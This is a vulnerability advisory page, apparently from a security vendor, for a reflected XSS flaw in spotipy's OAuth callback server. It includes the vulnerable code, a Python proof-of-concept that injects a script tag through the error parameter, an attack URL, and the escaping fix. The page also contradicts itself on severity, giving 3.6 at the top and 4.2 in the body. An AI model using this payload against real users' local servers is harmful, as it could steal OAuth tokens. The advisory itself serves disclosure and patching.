GHSA-r77h-rpp9-w2xm is a low-severity (CVSS 3.6) Cross-site Scripting (XSS) vulnerability in spotipy. A fix is available for spotipy — see the affected versions and patch details below.
Spotipy has a XSS vulnerability in its OAuth callback server
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-r77h-rpp9-w2xm.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-r77h-rpp9-w2xm plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
spotipyReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
XSS vulnerability in OAuth callback server allows JavaScript injection through unsanitized error parameter. Attackers can execute arbitrary JavaScript in the user's browser during OAuth authentication.
Details
Vulnerable Code: spotipy/oauth2.py lines 1238-1274 (RequestHandler.do_GET)
The Problem:
During OAuth flow, spotipy starts a local HTTP server to receive callbacks. The server reflects the error URL parameter directly into HTML without sanitization.
Vulnerable code at line 1255:
status = f"failed ({self.server.error})"
Then embedded in HTML at line 1265:
self._write(f"""<html>
<body>
<h1>Authentication status: {status}</h1>
</body>
</html>""")
The error parameter comes from URL parsing (lines 388-393) without HTML escaping, allowing script injection.
Attack Flow:
- User starts OAuth authentication → local server runs on
http://127.0.0.1:8080 - Attacker crafts malicious URL:
http://127.0.0.1:8080/?error=<script>alert(1)</script>&state=x - User visits URL → JavaScript executes in localhost origin
PoC
Simple Python Test:
#!/usr/bin/env python3
# poc_xss.py - Demonstrates XSS in spotipy OAuth callback
import requests
from spotipy.oauth2 import start_local_http_server
import threading
import time
# Start vulnerable server in background
def start_server():
server = start_local_http_server(8080)
server.handle_request()
thread = threading.Thread(target=start_server, daemon=True)
thread.start()
time.sleep(2)
# Send XSS payload
payload = '<script>alert("XSS")</script>'
url = f'http://127.0.0.1:8080/?error={payload}&state=test'
response = requests.get(url)
print(f"Status: {response.status_code}")
print(f"\nHTML Response:\n{response.text}")
# Check if vulnerable
if payload in response.text:
print(f"\n[!] VULNERABLE: Payload '{payload}' reflected without escaping!")
else:
print("\n[+] Safe: Payload was sanitized")
Run it:
pip install spotipy requests
python3 poc_xss.py
Output shows:
Status: 200
HTML Response:
<html>
<body>
<h1>Authentication status: failed (<script>alert("XSS")</script>)</h1>
</body>
</html>
[!] VULNERABLE: Payload '<script>alert("XSS")</script>' reflected without escaping!
The Proof:
- Expected (safe):
<script>alert("XSS")</script> - Actual (vulnerable):
<script>alert("XSS")</script> - The script tags are NOT escaped → XSS confirmed
Impact
Vulnerability Type: Cross-Site Scripting (XSS) - CWE-79
Affected Users: Anyone using spotipy's OAuth flow with localhost redirect URIs
Attack Complexity: Medium-High
- Requires timing (during brief OAuth window)
- Localhost-only (127.0.0.1)
- Requires user interaction (click malicious link)
Potential Impact:
- Execute JavaScript in localhost origin
- Access other localhost services (port scanning, API calls)
- Steal data from local web applications
- Extract OAuth tokens from browser storage
- Bypass CSRF protections on localhost endpoints
CVSS 3.1 Score: 4.2 (Medium)
- Attack Vector: Local
- Attack Complexity: High
- Privileges Required: None
- User Interaction: Required
- Scope: Unchanged
- Confidentiality/Integrity: Low
Recommended Fix:
import html
# Line 1255 - apply HTML escaping
if self.server.error:
status = f"failed ({html.escape(str(self.server.error))})"
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | spotipy | all versions | 2.25.2pip install --upgrade 'spotipy==2.25.2' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for spotipy, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update spotipy to 2.25.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-r77h-rpp9-w2xm is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-r77h-rpp9-w2xm can be triaged on real exposure rather than presence alone.
Tailored to GHSA-r77h-rpp9-w2xm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-r77h-rpp9-w2xm in your dependencies?
O3 Security finds GHSA-r77h-rpp9-w2xm across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.